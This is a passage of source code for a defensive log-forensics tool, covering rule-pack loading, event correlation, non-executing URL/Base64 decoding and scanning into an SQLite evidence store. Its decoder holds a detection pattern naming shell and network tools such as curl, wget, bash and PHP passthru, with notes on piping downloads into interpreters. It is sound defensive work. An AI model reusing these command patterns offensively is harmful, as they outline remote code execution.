preparation_manifest: list[PreparationEntry] = []
# Keep explicit named directory inputs compatible with established forensic runs.
if args.folders or not args.input or any(not path.is_dir() for _, path in inputs):
if args.output.exists():
raise FileExistsError("Output already exists")
args.output.parent.mkdir(parents=True, exist_ok=True)
prepared = fresh_destination(args.output.parent, ".triage-preparation")
inputs, preparation_manifest = prepare_inputs(
[path for _, path in inputs],
prepared,
password=password,
max_bytes=args.max_bytes,
max_files=args.max_files,
max_depth=args.max_depth,
)
try:
result = scan(
inputs,
args.output,
configs,
year=args.year if args.year is not None else times.get("year"),
timezones={**times.get("timezones", {}), **dict(args.timezone)},
file_years=times.get("file_years", {}),
defaults=not args.no_default_patterns,
extract_all=args.extract_all,
regex_timeout=args.regex_timeout,
window=args.window,
max_line_bytes=args.max_line_bytes,
max_file_bytes=args.max_file_bytes,
)
finally:
if prepared is not None and args.output.is_dir():
roots = [
{
"appliance": name,
"path": "inputs/" + path.relative_to(prepared).as_posix(),
}
for name, path in inputs
]
prepared.rename(args.output / "inputs")
with (args.output / "preparation_manifest.json").open(
"x", encoding="utf-8"
) as handle:
json.dump(
{"roots": roots, "entries": preparation_manifest},
handle,
ensure_ascii=False,
indent=2,
)
preparation_errors = [
entry for entry in preparation_manifest if entry.get("action") == "error"
]
if preparation_errors:
result["status"] = "partial"
result["counts"]["preparation_errors"] = len(preparation_errors)
result["preparation_errors"] = preparation_errors
result["integrity"] = "not_fully_verified"
dump(args.output / "summary.json", result)
Console(stderr=True).print(
Text(
f"Preparation incomplete: {len(preparation_errors)} input error(s). "
"Readable inputs were analyzed; review preparation_manifest.json.",
style="yellow",
)
)
display_result(result, args.json)
Console(stderr=True).print(Text(f"Results saved to: {os.path.relpath(args.output)}"))
return 0 if result["status"] == "complete" else 2
if args.command == "extract":
if args.destination is None:
args.destination = fresh_destination(args.source.resolve().parent, "extracted-logs")
manifest = args.destination.with_name(args.destination.name + ".manifest.json")
if manifest.exists() or manifest.is_symlink():
raise ValueError("Extraction manifest already exists")
result = extract_archive(
args.source,
args.destination,
args.max_bytes,
args.max_files,
args.max_depth,
password=getpass.getpass("Archive password: ")
if args.password is True
else args.password,
)
with manifest.open("x", encoding="utf-8") as handle:
json.dump(result, handle, ensure_ascii=False, indent=2)
Console(stderr=True).print(
Text(f"Logs extracted to: {os.path.relpath(args.destination)}")
)
elif args.command == "inventory":
result = inventory(args.root)
else:
if args.max_bytes < 1:
raise ValueError("The size limit must be positive")
with args.file.open("rb") as handle:
data = handle.read(args.max_bytes + 1)
if len(data) > args.max_bytes:
raise ValueError("Input exceeds the size limit")
value = data.decode("utf-8")
result = (
decode_layers(value, max_bytes=args.max_bytes)
if args.command == "decode"
else extract_indicators(value)
)
display_result(result, args.json)
return 0
except Exception as exc:
# No machine-specific paths or payload content in error output.
hints = {
"FileNotFoundError": "Check that the input file or directory exists.",
"FileExistsError": (
"Choose a new output directory; existing evidence is never overwritten."
),
"PermissionError": "Check read access to inputs and write access to the output parent.",
"TimeoutError": (
"A search exceeded its time limit. Simplify the pattern or adjust --regex-timeout."
),
"UnicodeDecodeError": (
"This command expects UTF-8 text. Keep the original and supply a text export."
),
"JSONDecodeError": "Check the configuration file for valid JSON.",
}
message = (
str(exc)
if isinstance(exc, ConfigError)
else hints.get(
type(exc).__name__, "Check input formats, configuration and size limits."
)
)
Console(stderr=True).print(
Panel(
Text(
f"{type(exc).__name__}: {message}\n"
"If an output directory was created, inspect summary.json.\n"
"Run the command with --help for usage."
),
title="Unable to complete the command",
border_style="red",
)
)
return 2
if __name__ == "__main__":
raise SystemExit(main())
+195
View File
@@ -0,0 +1,195 @@
"""Explicit, bounded loading of local rule files and directories."""
from __future__ import annotations
import csv
import io
import ipaddress
import json
import os
import re
import stat
from pathlib import Path
from typing import Any
class ConfigError(ValueError):
"""A configuration error with a filename-only user-facing explanation."""
SUPPORTED_SUFFIXES = frozenset({".json", ".csv", ".txt", ".yaml", ".yml"})
MAX_CONFIG_FILES = 64
MAX_CONFIG_BYTES = 16 * 1024 * 1024
MAX_TOTAL_BYTES = 32 * 1024 * 1024
_SKIP_DOCUMENTS = frozenset({"readme.txt", "license.txt", "changelog.txt"})
_SKIP_DIRECTORIES = frozenset({"__pycache__", "node_modules"})
def _error_reason(exc: Exception) -> str:
if isinstance(exc, OSError):
return exc.strerror or type(exc).__name__
return str(exc)
def _read_file(path: Path) -> bytes:
if path.is_symlink():
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
if not stat.S_ISREG(path.stat().st_mode):
raise ConfigError(f"Rule pack must be a regular file: {path.name}")
limit = 4 * 1024 * 1024 if path.suffix.lower() in {".yaml", ".yml"} else MAX_CONFIG_BYTES
with path.open("rb") as handle:
data = handle.read(limit + 1)
if len(data) > limit:
raise ConfigError(f"Rule pack exceeds {limit // (1024 * 1024)} MiB: {path.name}")
return data
def _text_indicator_type(value: str) -> str:
try:
address = ipaddress.ip_address(value)
except ValueError:
pass
else:
return "ipv4" if address.version == 4 else "ipv6"
if re.fullmatch(r"[a-fA-F0-9]{64}", value):
return "sha256"
if value.startswith(("http://", "https://")) and not any(c.isspace() for c in value):
return "url"
if value.startswith("/") and not any(c.isspace() for c in value):
return "path"
return "literal"
def _parse_config(path: Path, raw: bytes, source: str) -> dict[str, Any]:
text = raw.decode("utf-8-sig")
suffix = path.suffix.lower()
if suffix in {".yaml", ".yml"}:
return {"sigma_rules": [{"source": source, "yaml": text}]}
if suffix == ".json":
data = json.loads(text)
if isinstance(data, list):
return {"patterns": data}
if not isinstance(data, dict):
raise ConfigError("Configuration must be a JSON object or pattern list")
return dict(data)
if suffix == ".csv":
reader = csv.DictReader(io.StringIO(text, newline=""))
if not reader.fieldnames:
raise ConfigError("CSV rule pack has no header")
rows: list[dict[str, Any]] = []
for row in reader:
if None in row or any(value is None for value in row.values()):
raise ConfigError(f"CSV column count mismatch at line {reader.line_num}")
rows.append(dict(row))
if "Muster" in reader.fieldnames:
return {
"patterns": [
{**row, "id": row.get("ID") or f"row_{index}", "pattern": row["Muster"]}
for index, row in enumerate(rows, 2)
]
}
if not set(reader.fieldnames) & {"value", "indicator", "ip"}:
raise ConfigError("IOC CSV requires a value, indicator or ip column")
return {
"indicators": [
{
**row,
"type": row.get("type") or row.get("indicator_type") or "literal",
"value": row.get("value") or row.get("indicator") or row.get("ip") or "",
"status": row.get("status") or "reference_only",
}
for row in rows
]
}
if suffix != ".txt":
raise ConfigError(f"Unsupported rule pack format: {path.suffix or '(no extension)'}")
return {
"indicators": [
{
"type": _text_indicator_type(line.strip()),
"value": line.strip(),
"status": "reference_only",
}
for line in text.splitlines()
if line.strip() and not line.lstrip().startswith("#")
]
}
def load_config(path: Path) -> dict[str, Any]:
"""Load one explicit pack; preserve additional CSV provenance columns."""
try:
return _parse_config(path, _read_file(path), path.name)
except (OSError, UnicodeError, ValueError, csv.Error) as exc:
raise ConfigError(f"Cannot load rule pack {path.name}: {_error_reason(exc)}") from exc
def load_configs(paths: list[Path]) -> list[dict[str, Any]]:
"""Expand explicitly requested folders deterministically, with shared quotas."""
selected: list[tuple[Path, str]] = []
seen: set[Path] = set()
visited = 0
def add(path: Path, source: str) -> None:
if path.is_symlink():
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
canonical = path.resolve()
if canonical in seen:
return
if len(selected) >= MAX_CONFIG_FILES:
raise ConfigError(f"Rule pack selection exceeds {MAX_CONFIG_FILES} files")
seen.add(canonical)
selected.append((path, source))
for path in paths:
if path.is_symlink():
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
if not path.is_dir():
add(path, path.name)
continue
before = len(selected)
def walk_error(error: OSError, directory: Path = path) -> None:
raise ConfigError(
f"Cannot read rule directory {directory.name}: {_error_reason(error)}"
) from error
for root, directories, filenames in os.walk(path, followlinks=False, onerror=walk_error):
relative = Path(root).relative_to(path)
if len(relative.parts) > 32:
raise ConfigError(f"Rule directory nesting exceeds 32 levels: {path.name}")
visited += 1
if visited > 4096:
raise ConfigError("Rule directory selection exceeds 4096 directories")
directories[:] = sorted(
name
for name in directories
if not name.startswith(".") and name not in _SKIP_DIRECTORIES
)
for name in directories:
if (Path(root) / name).is_symlink():
raise ConfigError(f"Rule directory symlinks are not supported: {name}")
for name in sorted(filenames):
child = Path(root) / name
if (
name.startswith(".")
or name.casefold() in _SKIP_DOCUMENTS
or child.suffix.lower() not in SUPPORTED_SUFFIXES
):
continue
add(child, child.relative_to(path).as_posix())
selected[before:] = sorted(selected[before:], key=lambda entry: entry[1])
if len(selected) == before and not any(path.resolve() in p.parents for p in seen):
raise ConfigError(f"No supported rule packs found in directory: {path.name}")
total = 0
configs = []
for path, source in selected:
try:
raw = _read_file(path)
total += len(raw)
if total > MAX_TOTAL_BYTES:
raise ConfigError("Combined rule packs exceed 32 MiB")
configs.append(_parse_config(path, raw, source))
except (OSError, UnicodeError, ValueError, csv.Error) as exc:
raise ConfigError(f"Cannot load rule pack {path.name}: {_error_reason(exc)}") from exc
return configs
+92
View File
@@ -0,0 +1,92 @@
"""Bounded exact-key, cross-log temporal candidates, never proof of causation."""
import math
import sqlite3
from datetime import UTC, datetime
from typing import Any
def correlate_database(
connection: sqlite3.Connection, window_seconds: float = 120, max_links: int = 100000
) -> dict[str, Any]:
"""Write correlations using existing events and event_keys tables.
Per event/key, select only the nearest preceding event in a different log
on the same appliance. Source means the original relative log filename.
Naive timestamps cannot support a UTC comparison and are skipped.
"""
if not math.isfinite(window_seconds) or window_seconds < 0 or max_links < 1:
raise ValueError("invalid correlation limits")
connection.execute("""CREATE TABLE IF NOT EXISTS correlations (
left_id INTEGER NOT NULL, right_id INTEGER NOT NULL,
key_type TEXT NOT NULL, key_value TEXT NOT NULL,
delta_seconds REAL NOT NULL, basis TEXT NOT NULL,
UNIQUE(left_id,right_id,key_type,key_value))""")
connection.execute("DELETE FROM correlations")
summary: dict[str, Any] = dict(
links=0,
groups=0,
keys_examined=0,
invalid_time_keys=0,
invalid_source_keys=0,
history_evictions=0,
groups_with_evictions=0,
truncated=False,
window_seconds=window_seconds,
max_links=max_links,
basis="Temporal candidates sharing an exact key; not evidence of causation or execution.",
)
current_group = None
latest: dict[str, tuple[float, int]] = {}
group_evicted = False
rows = connection.execute("""SELECT k.event_id,k.appliance,k.key_type,k.key_value,
k.timestamp,e.source FROM event_keys k JOIN events e ON e.id=k.event_id
WHERE k.appliance=e.appliance AND k.key_value IS NOT NULL AND k.key_value<>''
ORDER BY k.appliance,k.key_type,k.key_value,julianday(k.timestamp),k.event_id""")
for event_id, appliance, key_type, key_value, stamp, source in rows:
summary["keys_examined"] += 1
group = appliance, key_type, key_value
if group != current_group:
current_group, latest, group_evicted = group, {}, False
summary["groups"] += 1
if not source:
summary["invalid_source_keys"] += 1
continue
try:
timestamp = datetime.fromisoformat(stamp.replace("Z", "+00:00"))
if timestamp.utcoffset() is None:
raise ValueError("timezone missing")
seconds = timestamp.astimezone(UTC).timestamp()
except AttributeError, ValueError, OverflowError, TypeError:
summary["invalid_time_keys"] += 1
continue
latest = {s: p for s, p in latest.items() if 0 <= seconds - p[0] <= window_seconds}
candidates = [p for s, p in latest.items() if s != source and p[1] != event_id]
if candidates:
prior_seconds, prior_id = max(candidates)
if summary["links"] >= max_links:
summary["truncated"] = True
break
strong = key_type.lower() in {"transaction", "transaction_id", "session", "session_id"}
basis = (
"Candidate: matching transaction/session identifier and temporal proximity; "
if strong
else "Candidate: matching search key and temporal proximity; "
)
basis += "same appliance, different log files; causation and execution remain unproven."
result = connection.execute(
"INSERT OR IGNORE INTO correlations VALUES (?,?,?,?,?,?)",
(prior_id, event_id, key_type, key_value, seconds - prior_seconds, basis),
)
summary["links"] += result.rowcount
latest[source] = seconds, event_id
# ponytail: retain at most 128 log sources per key; eviction is reported, never hidden.
if len(latest) > 128:
oldest = min(latest, key=lambda s: latest[s])
del latest[oldest]
summary["history_evictions"] += 1
if not group_evicted:
summary["groups_with_evictions"] += 1
group_evicted = True
summary["incomplete"] = summary["truncated"] or bool(summary["history_evictions"])
return summary
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+328
View File
@@ -0,0 +1,328 @@
"""Bounded, non-executing text transforms. A decoded command is not execution evidence."""
import base64
import binascii
import hashlib
import re
from collections import deque
from itertools import islice
from typing import Any
from urllib.parse import unquote
MAX_RECORDS = 64
_TOKEN = re.compile(r"(?<![A-Za-z0-9_+/-])[A-Za-z0-9_+/-]{3,}={0,2}(?![A-Za-z0-9_+/=-])")
_LONG_TOKEN = re.compile(r"(?<![A-Za-z0-9_+/-])[A-Za-z0-9_+/-]{24,}={0,2}(?![A-Za-z0-9_+/=-])")
_ASSIGNED_TOKEN = re.compile(
r"(?<![\w.-])[\w.-]{1,80}[ \t]*[:=][ \t]*['\"]?"
r"([A-Za-z0-9_+/-]{4,4096}={0,2})(?![A-Za-z0-9_+/=-])"
)
_COMMANDS = re.compile(
r"(?<![\w])(?:curl|wget|chmod|mkdir|passthru|eval|base64|perl|python|sh|bash|tar|kill|id|hostname|sleep)(?![\w])",
re.I,
)
def has_encoding_candidate(text: str) -> bool:
"""Cheap gate for encoded fields/blobs without treating every word as Base64."""
if re.search(r"%[0-9a-fA-F]{2}|\bbase64\b|(?<![\w.-])[\w.-]{1,80}:[A-Za-z0-9_+/-]{8,}", text):
return True
for match in _LONG_TOKEN.finditer(text):
value = match.group()
if "=" in value or (re.search(r"[A-Z]", value) and re.search(r"[a-z]", value)):
return True
return _encoded_field_text(text.strip()) or any(
_encoded_field_text(match.group(1)) for match in _ASSIGNED_TOKEN.finditer(text)
)
def _encoded_field_text(value: str) -> bool:
"""Validate a bounded whole field or assigned value, never arbitrary ordinary words."""
if not re.fullmatch(r"[A-Za-z0-9_+/-]{4,4096}={0,2}", value):
return False
normalized = value.replace("-", "+").replace("_", "/")
try:
data = base64.b64decode(normalized + "=" * (-len(normalized) % 4), validate=True)
decoded = data.decode("utf-8")
except binascii.Error, UnicodeDecodeError:
return False
return (
base64.b64encode(data).decode("ascii").rstrip("=") == normalized.rstrip("=")
and bool(decoded)
and all(char.isprintable() or char in "\t\r\n" for char in decoded)
)
def observations(text: str) -> list[str]:
tokens = sorted({m.group().lower() for m in _COMMANDS.finditer(text)})
result = (
["Command text contains: " + ", ".join(tokens) + "; execution is not established."]
if tokens
else []
)
semantics = {
"curl": (
"curl requests a URL; its arguments determine whether this downloads "
"data, sends a callback or transfers data."
),
"wget": (
"wget requests a URL and can save its response to a file; a successful "
"request is not established."
),
"chmod": (
"chmod changes file permissions. The target and mode determine its "
"effect; an actual change is not established."
),
"mkdir": "mkdir creates directories; -p can also create missing parent directories.",
"tar": (
"tar processes archives; -c creates and -x extracts an archive. Assess "
"file names and flags together."
),
"id": "id would print user and group identities and may be used as an execution probe.",
"hostname": "hostname can print the system name; arguments may also change it.",
"passthru": (
"PHP passthru can execute an operating-system command; whether "
"execution reached this call is not established."
),
"eval": (
"eval can evaluate an expression or program text; its effect depends on "
"the language and reached control flow."
),
"base64": (
"base64 encodes or decodes data depending on its options; decoding "
"alone does not execute the content."
),
"sleep": (
"sleep would delay processing for the specified duration and may be "
"used as a timing-based execution probe."
),
"perl": (
"perl can interpret code from arguments, files or standard input; "
"options such as -i can modify files."
),
"sh": "sh can execute shell commands from files, arguments or standard input.",
"bash": "bash can execute shell commands from files, arguments or standard input.",
"python": "python can interpret code from files, arguments or standard input.",
}
result.extend(semantics[t] for t in tokens if t in semantics)
if re.search(r"\bkill\s+-(?:HUP|1)\b", text, re.I):
result.append(
"kill -HUP sends a HUP signal to the target process. Some services "
"reload configuration in response; verify the target and service "
"behavior."
)
if re.search(r"\|\s*(?:sh|bash|perl|python)(?:\s|[;&)]|$)", text):
result.append(
"A pipe forwards preceding output to an interpreter; if reached "
"successfully, the received code would be processed."
)
if "$_COOKIE" in text and "passthru" in tokens:
result.append(
"Cookie access and passthru occur in the same text. Inspect the data "
"flow to determine whether cookies supply commands; this does not "
"establish use."
)
return result
def decode_layers(text: str, max_depth: int = 4, max_bytes: int = 1048576) -> list[dict[str, Any]]:
"""Original and URL/Base64 branches with parent indexes and exact candidate spans.
URL decoding never changes '+' to space. Base64 candidates are hypotheses;
binary output is recorded as hex and never recursively treated as text.
Total transformed bytes and records are bounded, not just each layer.
"""
if not isinstance(text, str):
raise TypeError("text must be str")
if not 0 <= max_depth <= 16 or not 1 <= max_bytes <= 16777216:
raise ValueError("invalid decoding limits")
raw = text.encode("utf-8", errors="surrogatepass")
original: dict[str, Any] = dict(
transformation="original",
scope="all_text",
parent=None,
depth=0,
input=text,
output=text,
output_encoding="utf-8",
sha256=hashlib.sha256(raw).hexdigest(),
observations=observations(text[:max_bytes]),
error=None,
)
records = [original]
if len(raw) > max_bytes:
original["error"] = "input_limit_exceeded; original preserved, decoding skipped"
return records
queue = deque([(0, text, 0)])
seen = {text}
remaining = max_bytes
def add(
parent: int,
depth: int,
transform: str,
source: str,
output: str | None,
data: bytes,
scope: str,
start: int,
error: str | None = None,
) -> None:
nonlocal remaining
if len(records) >= MAX_RECORDS or len(data) > remaining:
original["error"] = "transformation_budget_exhausted; results incomplete"
return
remaining -= len(data)
record = dict(
transformation=transform,
scope=scope,
parent=parent,
depth=depth,
input=source,
output=output,
output_encoding="utf-8" if output is not None else "hex",
sha256=hashlib.sha256(data).hexdigest(),
start=start,
end=start + len(source),
observations=observations(output or ""),
error=error,
)
if output is None:
record["output"] = data.hex()
records.append(record)
if output is not None and output not in seen and not error:
seen.add(output)
queue.append((len(records) - 1, output, depth))
while queue and len(records) < MAX_RECORDS:
parent, current, depth = queue.popleft()
if depth >= max_depth:
records[parent]["limit"] = "max_depth_reached; further transformations not inspected"
continue
if re.search(r"%(?![0-9a-fA-F]{2})", current):
records[parent]["observations"].append(
"Incomplete or invalid percent sequence; possibly a literal percent "
"sign. Complete URL decoding is not established."
)
records[parent]["error"] = "malformed_percent_candidate; original preserved"
if re.search(r"%[0-9a-fA-F]{2}", current):
try:
decoded = unquote(current, encoding="utf-8", errors="strict")
add(
parent,
depth + 1,
"url_percent",
current,
decoded,
decoded.encode(),
"all_text",
0,
)
except UnicodeDecodeError:
add(
parent,
depth + 1,
"url_percent",
current,
None,
b"",
"all_text",
0,
"invalid_utf8_in_percent_encoding; original preserved",
)
stripped = current.strip()
for explicit in islice(re.finditer(r"\bbase64\s*[:=]\s*([^\s\"'<>]+)", current, re.I), 32):
value = explicit.group(1)
if not re.fullmatch(r"[A-Za-z0-9_+/-]+={0,2}", value):
add(
parent,
depth + 1,
"base64",
value,
None,
b"",
"candidate",
explicit.start(1),
"invalid_base64_alphabet_or_padding; original preserved",
)
candidates = (
[(stripped, current.find(stripped), "all_text")]
if re.fullmatch(r"[A-Za-z0-9_+/-]{3,}={0,2}", stripped)
else []
)
for match in _TOKEN.finditer(current):
value = match.group()
prefix = current[max(0, match.start() - 80) : match.start()]
# Bare ordinary words are not evidence of encoding. Small tokens require context.
contextual = re.search(r"(?:[?&][\w.-]+=|base64\s*[:=(]\s*['\"]?)$", prefix, re.I)
assigned_text = re.search(r"[\w.-]+[ \t]*[:=][ \t]*['\"]?$", prefix) and (
_encoded_field_text(value)
)
marked_blob = (len(value) >= 24 and re.search(r"[\w.-]+:$", prefix)) or re.fullmatch(
r"[\w.-]+:", prefix
)
if (
contextual
or assigned_text
or marked_blob
or (
len(value) >= 24
and (
"=" in value or (re.search(r"[A-Z]", value) and re.search(r"[a-z]", value))
)
)
):
candidates.append((value, match.start(), "candidate"))
if len(candidates) >= 32:
original["observations"].append(
"Candidate limit reached; additional Base64 candidates at this depth "
"were not inspected."
)
break
unique = set()
for value, start, scope in candidates[:32]:
if (value, start) in unique:
continue
unique.add((value, start))
if len(value) % 4 == 1:
add(
parent,
depth + 1,
"base64",
value,
None,
b"",
scope,
start,
"invalid_base64_candidate_length; original preserved",
)
continue
try:
decoded_bytes = base64.b64decode(
value + "=" * (-len(value) % 4), altchars=b"-_", validate=True
)
except binascii.Error, ValueError:
add(
parent,
depth + 1,
"base64",
value,
None,
b"",
scope,
start,
"invalid_base64_candidate; original preserved",
)
continue
try:
candidate_text = decoded_bytes.decode("utf-8")
decoded_text = (
None
if any(ord(c) < 32 and c not in "\t\r\n" for c in candidate_text)
else candidate_text
)
except UnicodeDecodeError:
decoded_text = None
add(parent, depth + 1, "base64", value, decoded_text, decoded_bytes, scope, start)
if queue and len(records) >= MAX_RECORDS:
original["error"] = "record_limit_exceeded; results incomplete"
return records
+449
View File
@@ -0,0 +1,449 @@
"""Single-pass scanning with an on-disk evidence index and explicit coverage."""
from __future__ import annotations
import csv
import json
import platform
import sqlite3
import time
from collections import Counter
from contextlib import suppress
from datetime import UTC, datetime
from functools import lru_cache
from pathlib import Path
from typing import Any
from . import __version__
from .decoding import decode_layers, has_encoding_candidate
from .indicators import extract_indicators
from .ingest import inventory, iter_records
from .matching import Matcher
from .parsing import parse_record
from .sigma_rules import SigmaEvaluationLimit
def dump(path: Path, value: Any) -> None:
path.write_text(json.dumps(value, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
def make_database(path: Path) -> sqlite3.Connection:
db = sqlite3.connect(path)
db.executescript("""
PRAGMA cache_size=-8192;
PRAGMA temp_store=FILE;
PRAGMA mmap_size=0;
PRAGMA threads=1;
CREATE TABLE events(id INTEGER PRIMARY KEY, appliance TEXT, source TEXT,
line INTEGER, timestamp TEXT, kind TEXT, data TEXT);
CREATE TABLE event_keys(event_id INTEGER, appliance TEXT, key_type TEXT,
key_value TEXT, timestamp TEXT);
CREATE TABLE iocs(type TEXT,value TEXT,defanged TEXT,count INTEGER,
first_event INTEGER,PRIMARY KEY(type,value));
CREATE TABLE indicator_hits(event_id INTEGER,type TEXT,value TEXT,status TEXT);
CREATE INDEX key_lookup ON event_keys(appliance,key_type,key_value,timestamp);
""")
return db
def validate_output(output: Path, inputs: list[tuple[str, Path]]) -> None:
resolved = output.resolve()
if output.exists() or output.is_symlink():
raise ValueError("Output already exists; choose a new directory")
if any(p.is_symlink() for p in output.parents):
raise ValueError("Output path contains a symbolic link")
for _, root in inputs:
if resolved == root.resolve() or root.resolve() in resolved.parents:
raise ValueError("Output must not be inside an input directory")
if len({name for name, _ in inputs}) != len(inputs):
raise ValueError("Appliance names must be unique")
if len({root.resolve() for _, root in inputs}) != len(inputs):
raise ValueError("Duplicate input root")
def scan(
inputs: list[tuple[str, Path]],
output: Path,
configs: list[dict[str, Any]],
*,
year: int | None = None,
timezones: dict[str, str] | None = None,
file_years: dict[str, int] | None = None,
defaults: bool = True,
extract_all: bool = False,
regex_timeout: float = 0.05,
window: int = 120,
max_line_bytes: int = 1048576,
max_file_bytes: int = 536870912,
max_links: int = 1000000,
) -> dict[str, Any]:
validate_output(output, inputs)
matcher = Matcher(configs, regex_timeout, defaults)
sha256_indicators: dict[str, list[dict[str, Any]]] = {}
for indicator in matcher.indicators:
if indicator.get("type") == "sha256":
sha256_indicators.setdefault(indicator["value"].lower(), []).append(indicator)
output.mkdir(parents=True)
start = time.perf_counter()
db = make_database(output / "evidence.sqlite")
stats: Counter[str] = Counter()
kinds: Counter[str] = Counter()
warnings: Counter[str] = Counter()
coverage: dict[tuple[str, str], Counter[str]] = {}
before: list[dict[str, Any]] = []
file_hash_hits: list[dict[str, Any]] = []
timezones, file_years = timezones or {}, file_years or {}
config = {
"appliances": [name for name, _ in inputs],
"year": year,
"timezones": timezones,
"file_years": file_years,
"configs": matcher.configs,
"defaults": defaults,
"extract_all": extract_all,
"regex_timeout": regex_timeout,
"window": window,
"max_line_bytes": max_line_bytes,
"max_file_bytes": max_file_bytes,
"max_links": max_links,
}
dump(output / "configuration.json", config)
@lru_cache(maxsize=128)
def decode_cached(value: str) -> list[dict[str, Any]]:
return decode_layers(value, max_bytes=min(max_line_bytes, 16384))
try:
for name, root in inputs:
files = inventory(root)
before.extend({"appliance": name, **row} for row in files)
for row in files:
file_hash_hits.extend(
{
"appliance": name,
"source": row["source"],
"sha256": row["sha256"],
"indicator": indicator,
"basis": "SHA-256 of original file bytes; not a text occurrence",
}
for indicator in sha256_indicators.get(row.get("sha256") or "", [])
)
for record in iter_records(root, name, max_line_bytes, max_file_bytes):
stats["records"] += 1
ref = (name, record["source"])
coverage.setdefault(ref, Counter())["records"] += 1
if record.get("error"):
stats["read_errors"] += 1
coverage[ref]["read_errors"] += 1
event = parse_record(
record, timezones.get(name), file_years.get(f"{name}/{record['source']}", year)
)
kinds[event["kind"]] += 1
warnings.update(event["warnings"])
if event["kind"] == "unknown":
coverage[ref]["unparsed"] += 1
if not event["timestamp"]:
stats["without_timestamp"] += 1
text = record["raw"]
analysis_errors: list[str] = []
def search(
value: str,
errors: list[str] = analysis_errors,
record_ref: tuple[str, str] = ref,
) -> tuple[list[str], list[dict[str, Any]], list[dict[str, Any]]]:
try:
return matcher.search_with_details(value, include_sigma=False)
except TimeoutError:
errors.append("regex_timeout; matching incomplete")
stats["matching_errors"] += 1
coverage[record_ref]["matching_errors"] += 1
return [], [], []
rules, hits, rule_details = search(text)
fields = event["fields"]
candidates = [
fields[key] for key in ("user_agent", "uri", "referer") if fields.get(key)
]
# Decode actual fields and encoding-shaped text, not every timestamp/IP hit.
residual = text
for candidate in dict.fromkeys(candidates):
# Tiny delimiters are not encoded fields and must not erase other headers.
if len(candidate) >= 8:
residual = residual.replace(candidate, " ")
if has_encoding_candidate(residual):
# The residual is a gate only: decode original bytes/text and preserve spans.
candidates.append(text)
layers: list[dict[str, Any]] = []
if (
rules
or hits
or any(any(char in c for char in "%:=?") for c in candidates)
or any(has_encoding_candidate(candidate) for candidate in candidates)
or (not fields.get("uri") and bool(candidates))
):
for candidate_id, candidate in enumerate(dict.fromkeys(candidates)):
# Cache repeated small headers only; large payloads must not accumulate.
decoded = (
decode_cached(candidate)
if len(candidate) <= 4096
else decode_layers(candidate, max_bytes=min(max_line_bytes, 16777216))
)
# Keep originals only when an actual transformation/error exists.
if len(decoded) > 1 or any(layer.get("error") for layer in decoded):
layers.extend(
{**layer, "candidate_id": candidate_id} for layer in decoded
)
for layer in decoded[1:]:
if not layer.get("error") and layer.get("sha256"):
hits.extend(
{**indicator, "basis": "decoded_bytes_sha256"}
for indicator in sha256_indicators.get(layer["sha256"], [])
)
value = layer.get("output")
if value and layer.get("output_encoding") != "hex":
extra_rules, extra_hits, extra_details = search(value)
rules.extend(extra_rules)
hits.extend(extra_hits)
rule_details.extend(extra_details)
decoded_views = [
(index, layer["output"])
for index, layer in enumerate(layers)
if layer.get("transformation") != "original"
and layer.get("output")
and layer.get("output_encoding") != "hex"
and not layer.get("error")
]
event["sha256"] = sorted(
{
layer["sha256"]
for layer in layers
if layer.get("transformation") != "original"
and layer.get("sha256")
and not layer.get("error")
}
)
event["sigma_decoded_views"] = [index for index, _ in decoded_views]
try:
sigma_details = matcher.search_sigma(
event, [value for _, value in decoded_views]
)
rules.extend(str(detail["id"]) for detail in sigma_details)
rule_details.extend(sigma_details)
except (TimeoutError, SigmaEvaluationLimit) as exc:
analysis_errors.append(f"{type(exc).__name__}; Sigma matching incomplete")
stats["matching_errors"] += 1
coverage[ref]["matching_errors"] += 1
decoding_errors = sum(bool(layer.get("error")) for layer in layers)
stats["decoding_errors"] += decoding_errors
rules = sorted(set(rules))
selected = bool(
rules
or hits
or event["categories"]
or record.get("error")
or decoding_errors
or analysis_errors
or extract_all
)
if not selected:
continue
event.update(
rules=rules,
rule_details=list(
{
json.dumps(detail, sort_keys=True): detail for detail in rule_details
}.values()
),
indicator_matches=hits,
decoding=layers,
analysis_errors=analysis_errors,
)
indicators = extract_indicators(text)
for layer in layers:
if layer.get("output") and layer.get("output_encoding") != "hex":
indicators.extend(extract_indicators(layer["output"]))
if (
layer.get("transformation", "").startswith("base64")
and layer.get("sha256")
and not layer.get("error")
and layer.get("output")
):
value = layer["sha256"]
indicators.append(
{
"type": "sha256",
"value": value,
"defanged": value,
"role": "decoded_payload",
}
)
# Deduplicate within an event; distinct log events stay distinct.
indicators = list({(i["type"], i["value"]): i for i in indicators}.values())
event["indicators"] = indicators
cur = db.execute(
"INSERT INTO events VALUES(NULL,?,?,?,?,?,?)",
(
name,
record["source"],
record["line"],
event["timestamp"],
event["kind"],
json.dumps(event, ensure_ascii=False),
),
)
event_id = cur.lastrowid
stats["selected"] += 1
stats["findings"] += bool(rules or hits)
stats["update_records"] += bool(event["categories"])
for item in indicators:
db.execute(
"""INSERT INTO iocs VALUES(?,?,?,?,?) ON CONFLICT(type,value)
DO UPDATE SET count=count+1""",
(item["type"], item["value"], item["defanged"], 1, event_id),
)
for hit in hits:
db.execute(
"INSERT INTO indicator_hits VALUES(?,?,?,?)",
(
event_id,
hit.get("type", "literal"),
hit["value"],
hit.get("status", "reference_only"),
),
)
keys = set()
for key in (
"src",
"source_ip",
"client_ip",
"uri",
"session_id",
"transaction_id",
"request_id",
):
if fields.get(key):
keys.add(
("source_ip" if key in {"src", "client_ip"} else key, str(fields[key]))
)
for item in indicators:
if item["type"] in {"path", "sha256"}:
keys.add((item["type"], item["value"]))
if event["timestamp"]:
db.executemany(
"INSERT INTO event_keys VALUES(?,?,?,?,?)",
[(event_id, name, key, value, event["timestamp"]) for key, value in keys],
)
if stats["selected"] % 1000 == 0:
db.commit()
db.commit()
after = [{"appliance": name, **row} for name, root in inputs for row in inventory(root)]
if before != after:
raise ValueError("Original files changed during analysis")
inventory_errors = sum(bool(row.get("error")) for row in before)
stats["inventory_errors"] = inventory_errors
dump(output / "input_manifest.json", before)
dump(output / "file_hash_hits.json", file_hash_hits)
stats["file_hash_hits"] = len(file_hash_hits)
from .correlation import correlate_database
correlation = correlate_database(db, window_seconds=window, max_links=max_links)
db.commit()
export(db, output)
summary = {
"status": "partial"
if (
